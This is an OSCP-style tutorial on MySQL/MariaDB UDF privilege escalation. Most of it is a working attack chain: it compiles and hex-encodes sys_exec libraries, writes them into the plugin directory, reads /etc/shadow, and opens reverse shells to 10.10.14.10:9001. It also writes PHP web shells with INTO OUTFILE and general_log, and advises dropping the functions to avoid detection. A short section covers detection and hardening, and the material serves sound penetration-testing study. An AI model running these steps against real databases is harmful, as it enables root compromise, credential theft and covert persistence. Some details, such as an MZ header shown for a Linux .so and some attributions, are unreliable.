Domain 4PrivEsc & Password AttacksCORE

MySQL UDF Exploitation

Exploiting MySQL/MariaDB User Defined Functions (UDF) to execute arbitrary system commands and escalate privileges via dynamically loaded shared libraries.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#mysql#mariadb#udf#user-defined-functions#dynamic-library#file-privesc

MySQL UDF Exploitation

Table of Contents

  1. What Are MySQL User Defined Functions?
  2. How UDF Plugins Work
  3. Why UDF Leads to Privilege Escalation
  4. Prerequisites and Enumeration
  5. Exploitation Methods
  6. Step-by-Step Walkthrough
  7. Alternative MySQL Escapes
  8. Version-Specific Considerations
  9. Detection and Mitigation
  10. OSCP Exam Tips

What Are MySQL User Defined Functions?

Definition

A User Defined Function (UDF) in MySQL/MariaDB is a custom function written in C/C++ and compiled as a shared library (.so on Linux, .dll on Windows) that extends MySQL’s functionality. UDFs allow developers to:

  • Create custom SQL functions (e.g., SELECT my_function(column))
  • Implement complex logic not available in built-in functions
  • Interface with the operating system
  • Call external programs and libraries

UDF Types in MySQL

Type Description Example Usage
FUNCTION Returns a single value SELECT sys_eval('whoami')
AGGREGATE FUNCTION Operates on groups of rows Custom aggregation logic
STORED PROCEDURE Executes procedural code CALL sys_exec('id')

Common UDF Functions

Function Name Purpose Example
sys_exec Execute a system command (no return) SELECT sys_exec('id')
sys_eval Execute a system command and return output SELECT sys_eval('id')
sys_get Read environment variable SELECT sys_get('HOME')
sys_set Set environment variable SELECT sys_set('PATH', '/tmp')

How UDF Plugins Work

Architecture

┌─────────────────────────────────────────────┐
│                 MySQL Server                  │
│                                              │
│  ┌──────────────┐    ┌──────────────────┐   │
│  │  SQL Parser   │───▶│  Function Call   │   │
│  └──────────────┘    └────────┬─────────┘   │
│                               │              │
│                    ┌──────────▼───────────┐  │
│                    │   UDF Plugin Loader   │  │
│                    │   (dlopen/dlsym)      │  │
│                    └──────────┬───────────┘  │
│                               │              │
│                    ┌──────────▼───────────┐  │
│                    │  Shared Library (.so) │  │
│                    │  /usr/lib/mysql/plugin │  │
│                    │  lib_mysqludf_sys.so  │  │
│                    └──────────┬───────────┘  │
│                               │              │
│                    ┌──────────▼───────────┐  │
│                    │  System Commands      │  │
│                    │  exec() / system()    │  │
│                    └──────────────────────┘  │
└─────────────────────────────────────────────┘

Loading Process

  1. Shared library placement: The .so file is placed in MySQL’s plugin directory (e.g., /usr/lib/mysql/plugin/)
  2. SQL registration: CREATE FUNCTION tells MySQL about the exported symbols in the library
  3. Dynamic loading: MySQL uses dlopen() to load the library and dlsym() to find function entries
  4. Function execution: When the UDF is called in SQL, MySQL invokes the C function, which can call system(), exec(), etc.

Plugin Directory Locations

OS/Platform Default Plugin Directory
Ubuntu/Debian /usr/lib/mysql/plugin/
RHEL/CentOS /usr/lib64/mysql/plugin/
MySQL 8.0+ /usr/lib/mysql/plugin/ or /usr/lib64/mysql/plugin/
MariaDB /usr/lib/mysql/plugin/ or /usr/lib64/mysql/plugin/
macOS (Homebrew) /usr/local/lib/plugin/
Windows C:\Program Files\MySQL\MySQL Server X.X\lib\plugin\

Why UDF Leads to Privilege Escalation

The Privilege Chain

Low-priv user
    │
    ├── Gets MySQL access (e.g., via web app SQL injection)
    │
    ├── Has FILE privilege on MySQL account
    │
    ├── Can write to MySQL plugin directory
    │
    ├── Uploads malicious UDF shared library
    │
    ├── Registers UDF functions via CREATE FUNCTION
    │
    ├── Calls sys_exec() / sys_eval()
    │
    └── Commands execute as MySQL server user (often root)
            │
            └── ROOT SHELL

Why Commands Run as MySQL Server User

  • The UDF shared library is loaded into the MySQL server process
  • The MySQL server process runs as a specific user (check with ps aux | grep mysql)
  • Any system() or exec() call from within the UDF runs in the context of the MySQL server process
  • If MySQL runs as root, your commands run as root

MySQL Server User Scenarios

MySQL User Impact Notes
root Direct root shell Common on older systems, some misconfigs
mysql mysql user shell Can still be useful for reading files, further privesc
www-data Web user shell Less impactful but still an escape

Prerequisites and Enumeration

Required Privileges

The MySQL account must have the FILE privilege:

-- Check current user and privileges
SELECT current_user();
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER;

-- Example output of SHOW GRANTS:
-- GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER,
-- CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, RELOAD, SHUTDOWN,
-- PROCESS, FILE, SHOW DATABASES, CREATE VIEW, EVENT, TRIGGER,
-- CREATE ROUTINE, ALTER ROUTINE ON *.* TO 'root'@'localhost'

FILE Privilege Requirements

Requirement Why Needed
FILE privilege Required to use SELECT ... INTO OUTFILE and LOAD_FILE()
Write access to plugin directory Must be able to write the .so file to the plugin path
MySQL server running as target user The escalation only works if MySQL runs as the desired user

Full Enumeration Checklist

-- 1. Current user and grants
SELECT current_user();
SHOW GRANTS;

-- 2. MySQL version
SELECT version();

-- 3. Plugin directory
SELECT @@plugin_dir;

-- 4. Check if FILE privilege exists
-- (FILE appears in SHOW GRANTS output)

-- 5. Check if we can write to plugin directory
SELECT 'test' INTO OUTFILE '/usr/lib/mysql/plugin/test.txt';

-- 6. Check for existing UDF functions
SELECT * FROM mysql.func;

-- 7. Check MySQL server user (from within MySQL, limited)
-- Better to check from OS shell: ps aux | grep mysql

-- 8. Check secure_file_priv (restricts OUTFILE/LOAD_FILE paths)
SELECT @@secure_file_priv;

secure_file_priv Impact

Value Effect
'' (empty) No restriction — can write anywhere
NULL OUTFILE and LOAD_FILE disabled entirely
/path/ Can only read/write within this directory
-- Check this early — it determines if UDF exploitation is feasible
SELECT @@secure_file_priv;

-- If NULL, UDF via INTO OUTFILE is blocked
-- If set to a specific path, you can only write there

Exploitation Methods

Method 1: Using Existing UDF Libraries on the System

Some systems already have UDF libraries installed. You can reuse them:

# From the OS shell (if you have one)
find / -name "lib_mysqludf_sys.so" 2>/dev/null
find / -name "lib_mysqludf*" 2>/dev/null
find / -name "*udf*.so" 2>/dev/null

# Common locations
ls -la /usr/lib/mysql/plugin/
ls -la /usr/lib64/mysql/plugin/
-- If the library already exists in the plugin directory,
-- you just need to register the functions:

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';

-- Test
SELECT sys_eval('id');

Method 2: Compiling and Uploading Custom UDF Library

Option A: raptor_udf2 (Classic Exploit)

raptor_udf2 is a well-known UDF exploit by David “Beat” Litchfield:

# Download and compile raptor_udf2
wget https://raw.githubusercontent.com/MySQLUDF/MySQL-UDF-exploit/master/raptor_udf2.c
# Or use the version from your attack machine

# Compile for the target architecture
# For 32-bit target
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

# For 64-bit target
gcc -g -c -fPIC raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

# For cross-compilation (if target is different arch)
# Check target architecture first
# Then use appropriate cross-compiler

Option B: lib_mysqludf_sys (Modern Alternative)

The lib_mysqludf_sys project provides sys_exec and sys_eval:

# Clone and compile
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
cd lib_mysqludf_sys

# Compile
gcc -Wall -shared -o lib_mysqludf_sys.so lib_mysqludf_sys.c -fPIC

# Verify the compiled library
file lib_mysqludf_sys.so
# Output: lib_mysqludf_sys.so: ELF 64-bit LSB shared object, x86-64

Option C: Using Linux Smart Enumeration or LinPEAS

# LinPEAS often finds UDF libraries automatically
./linpeas.sh | grep -i udf

# Smart enumeration
./smart.sh | grep -i udf

Method 3: Uploading via MySQL INTO OUTFILE

-- Upload the compiled UDF library to the plugin directory
-- This requires FILE privilege and write access to the plugin dir

SELECT '<hex_encoded_so_content>' INTO OUTFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

-- Alternative: Use LOAD_FILE to read, then INTO OUTFILE to write
-- (requires the file to already exist somewhere readable)

Encoding Binary Data for MySQL

Since MySQL SQL is text-based, you need to encode the binary .so file:

# On your attack machine, convert the .so to a hex string
xxd -p -c 256 lib_mysqludf_sys.so | sed 's/^/\\x/' | tr -d '\n'

# Or use Python
python3 -c "
with open('lib_mysqludf_sys.so', 'rb') as f:
    data = f.read()
    hex_str = data.hex()
    # Split into chunks for MySQL
    for i in range(0, len(hex_str), 500):
        print(f\"UNHEX('{hex_str[i:i+500]}')\")
"
-- In MySQL, reconstruct the binary and write it
SELECT UNHEX('4D5A9000...') INTO OUTFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

Step-by-Step Walkthrough

Complete Exploitation Chain

Step 1: Get MySQL Shell Access

# From attack machine
mysql -h 10.10.10.10 -u root -p

# Or if local access
mysql -u www-data -p

# Or via SQL injection in a web app
# (Use sqlmap or manual injection to get a MySQL shell)

Step 2: Check FILE Privilege

-- Essential check — without FILE, UDF exploitation is blocked
SHOW GRANTS;

-- Look for "FILE" in the output
-- If present, proceed. If not, this method won't work.

Step 3: Find Plugin Directory

SELECT @@plugin_dir;

-- Example output:
-- +-------------------------------------+
-- | @@plugin_dir                        |
-- +-------------------------------------+
-- | /usr/lib/mysql/plugin/              |
-- +-------------------------------------+

Step 4: Upload UDF Library

-- Method A: Using INTO OUTFILE with hex-encoded content
SELECT UNHEX('4D5A900003000000...') INTO OUTFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

-- Method B: If library already exists on the system
-- (Just skip to Step 5)

-- Method C: Using a staging approach
-- 1. Write to a temp location first
SELECT UNHEX('...') INTO OUTFILE '/tmp/lib_mysqludf_sys.so';
-- 2. Then copy to plugin dir (if you have OS shell access)

Step 5: Create the UDF Function

-- Register sys_exec (executes command, returns nothing useful)
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so';

-- Register sys_eval (executes command, returns output)
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';

-- Verify the function was created
SELECT * FROM mysql.func;

-- Example output:
-- +----------+------+------------------------+----------+
-- | name     | ret  | dl                     | type     |
-- +----------+------+------------------------+----------+
-- | sys_exec | 0    | lib_mysqludf_sys.so   | function |
-- | sys_eval | 0    | lib_mysqludf_sys.so   | function |
-- +----------+------+------------------------+----------+

Step 6: Execute Commands

-- Test with a simple command
SELECT sys_eval('id');

-- Example output:
-- +---------------------------+
-- | sys_eval('id')            |
-- +---------------------------+
-- | uid=0(root) gid=0(root)   |
-- +---------------------------+

-- Read sensitive files
SELECT sys_eval('cat /etc/shadow');

-- Check SUID binaries
SELECT sys_eval('find / -perm -4000 2>/dev/null');

Step 7: Get Root Shell

-- Reverse shell
SELECT sys_exec('bash -i >& /dev/tcp/10.10.14.10/9001 0>&1');

-- Or write a shell script and execute it
SELECT sys_exec('echo "bash -i >& /dev/tcp/10.10.14.10/9001 0>&1" > /tmp/shell.sh');
SELECT sys_exec('chmod +x /tmp/shell.sh');
SELECT sys_exec('/tmp/shell.sh');

-- On attack machine, listen for the connection
nc -lvnp 9001

Handling Common Errors

Error Cause Solution
Can't open shared library Library not in plugin dir or wrong path Verify path with SELECT @@plugin_dir
Function already exists Function was already created DROP FUNCTION sys_exec; first
Access denied for FILE Missing FILE privilege Try alternative methods
secure_file_priv restriction Can’t write to plugin dir Write to allowed dir, then move
Architecture mismatch 32-bit vs 64-bit mismatch Compile for correct architecture
Symbol not found Wrong UDF library format Use correct UDF source code

Alternative MySQL Escapes

MySQL INTO OUTFILE for Web Shell

If UDF doesn’t work but you have FILE privilege and know the web root:

-- Write a PHP web shell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Access via browser
# http://target/shell.php?cmd=id

-- Write a reverse shell PHP
SELECT '<?php exec("/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.10/9001 0>&1\""); ?>' INTO OUTFILE '/var/www/html/shell.php';

MySQL Shell Escape (Older Versions)

In MySQL versions before 5.0, the \! command allowed OS command execution:

-- Only works in interactive mysql client on older versions
\! id
\! /bin/bash -i
\! bash -i >& /dev/tcp/10.10.14.10/9001 0>&1

MySQL Logging Exploitation

If you can modify MySQL configuration:

-- Change general log to a web shell location
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/shell.php';

-- Now any SQL query is logged to the PHP file
SELECT '<?php system($_GET["cmd"]); ?>';

-- The SELECT statement itself is written to shell.php
-- Access via browser to execute

MariaDB Specific Considerations

Feature MySQL MariaDB
UDF support Yes Yes
Plugin directory @@plugin_dir @@plugin_dir
mysql.func table Yes Yes (deprecated in 10.0.2+)
INSTALL PLUGIN syntax No Yes (preferred in 10.0.2+)
UDF in .so format Yes Yes
-- MariaDB 10.0.2+ preferred method
INSTALL PLUGIN sys_exec SONAME 'lib_mysqludf_sys.so';

-- Old method still works
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so';

Version-Specific Considerations

MySQL 5.7+ Restrictions

Restriction Impact Workaround
secure_file_priv defaults to non-empty Limits OUTFILE paths Check value, write to allowed directory
Plugin loading requires INSTALL PLUGIN privilege Can’t load arbitrary plugins Need appropriate privileges
mysql.func table deprecated Old UDF registration may not work Use CREATE FUNCTION syntax

MySQL 8.0+ Restrictions

Restriction Impact Workaround
Component framework replaces plugins UDF loading more restricted May need component-based approach
mysql.func table removed Old UDF method broken Use CREATE FUNCTION with SONAME
Stricter authentication Harder to get initial access Focus on credential attacks
secure_file_priv enforced OUTFILE paths restricted Find writable path within allowed dir

Version Detection and Compatibility

-- Check MySQL version
SELECT version();

-- Check if UDF is supported
SHOW VARIABLES LIKE 'have_dynamic_loading';

-- Check plugin directory
SELECT @@plugin_dir;

-- Check file privileges
SELECT @@secure_file_priv;
MySQL Version UDF Feasibility Notes
5.0 and below Easy \! escape also available
5.1 – 5.5 Easy Classic UDF exploitation works
5.6 – 5.7 Moderate secure_file_priv may block
8.0+ Hard Component framework, stricter controls
MariaDB 10.0–10.3 Moderate INSTALL PLUGIN preferred
MariaDB 10.4+ Moderate Similar to MySQL 8.0 restrictions

Detection and Mitigation

Detection

# Check for running MySQL processes and their user
ps aux | grep mysql

# Check for UDF functions
mysql -u root -p -e "SELECT * FROM mysql.func;"

# Check plugin directory for unexpected files
ls -la /usr/lib/mysql/plugin/
ls -la /usr/lib64/mysql/plugin/

# Look for recently modified .so files
find /usr/lib*/mysql/plugin/ -name "*.so" -mtime -7

# Check MySQL error log for UDF loading
tail -100 /var/log/mysql/error.log | grep -i udf

# Audit MySQL user privileges
mysql -u root -p -e "SHOW GRANTS FOR 'user'@'host';"

Mitigation

Mitigation Implementation
Remove FILE privilege REVOKE FILE ON *.* FROM 'user'@'host';
Set secure_file_priv secure_file_priv = /var/lib/mysql-files/ in my.cnf
Restrict plugin directory chmod 700 /usr/lib/mysql/plugin/
Run MySQL as non-root Default behavior; verify ps aux | grep mysql
Disable dynamic loading --skip-grant-tables not recommended; use have_dynamic_loading=OFF
Monitor plugin directory File integrity monitoring on plugin paths
Use appArmor/SELinux Restrict MySQL process file access

Hardened my.cnf Configuration

[mysqld]
# Restrict file operations
secure_file_priv = /var/lib/mysql-files/

# Run as non-root user
user = mysql

# Disable dynamic loading if not needed
# have_dynamic_loading = OFF

# Enable audit logging
plugin-load = audit_log.so
audit_log_file = /var/log/mysql/audit.log

OSCP Exam Tips

When to Try MySQL UDF

Indicator Action
You have MySQL access Check SHOW GRANTS for FILE privilege
Web app has SQL injection Try to get MySQL shell, then check privileges
MySQL runs as root UDF exploitation gives direct root
You can write to plugin directory Upload UDF library
secure_file_priv is empty or permissive INTO OUTFILE method works

Quick MySQL Enumeration Commands

-- Run these immediately upon getting MySQL access
SELECT current_user();
SHOW GRANTS;
SELECT version();
SELECT @@plugin_dir;
SELECT @@secure_file_priv;
SELECT * FROM mysql.func;
SHOW DATABASES;

Common Exam Scenarios

  1. Root MySQL with FILE privilege — Most common. Upload UDF, get root shell directly.

  2. MySQL as mysql user — Still useful. Get mysql user shell, then look for further privesc (SUID, sudo, etc.).

  3. Web app SQL injection → MySQL — Use SQLi to get MySQL access, then UDF for OS command execution.

  4. Existing UDF library on system — Find lib_mysqludf_sys.so already compiled, just register and use.

Pre-Compiled UDF Libraries

Keep these on your attack machine:

# Pre-compiled UDF libraries for different architectures
~/exploits/mysql/
├── lib_mysqludf_sys.so.x86      # 32-bit
├── lib_mysqludf_sys.so.x64      # 64-bit
├── raptor_udf2.so.x86           # 32-bit
├── raptor_udf2.so.x64           # 64-bit
└── source/
    ├── lib_mysqludf_sys.c
    └── raptor_udf2.c

Key Reminders

  • FILE privilege is mandatory — without it, UDF exploitation via INTO OUTFILE won’t work
  • Check secure_file_priv early — it determines where you can write files
  • Match the architecture — compile the UDF for the target’s architecture (32-bit vs 64-bit)
  • MySQL server user matters — commands run as the MySQL process user, not as root automatically
  • sys_eval > sys_exec — sys_eval returns output, making it more useful for reconnaissance
  • Clean up after exploitation — drop the UDF functions to avoid detection:
    DROP FUNCTION sys_exec;
    DROP FUNCTION sys_eval;

Flag Template for MySQL UDF Exploitation

[PRIVESC] MySQL UDF Exploitation
==================================
MySQL Version: <version>
Current User: <user>@<host>
FILE Privilege: yes/no
Plugin Directory: <path>
secure_file_priv: <value>
MySQL Server User: <user>
UDF Library: <library name>
Functions Created: sys_exec, sys_eval
Command Test: SELECT sys_eval('id');
Result: <output>
Shell Obtained: yes/no

Summary

MySQL UDF exploitation is a classic and reliable privilege escalation technique. The key requirements are:

  1. MySQL access with the FILE privilege
  2. Write access to the MySQL plugin directory
  3. A compiled UDF shared library matching the target architecture

When these conditions are met, you can execute arbitrary system commands as the MySQL server user. If MySQL runs as root, this gives you a direct root shell — one of the most impactful privilege escalation paths in the OSCP exam.

Always check for MySQL access during enumeration, and when found, immediately verify FILE privilege and plugin directory accessibility. This technique has been tested on countless OSCP machines and remains highly effective, especially on MySQL 5.5 and earlier.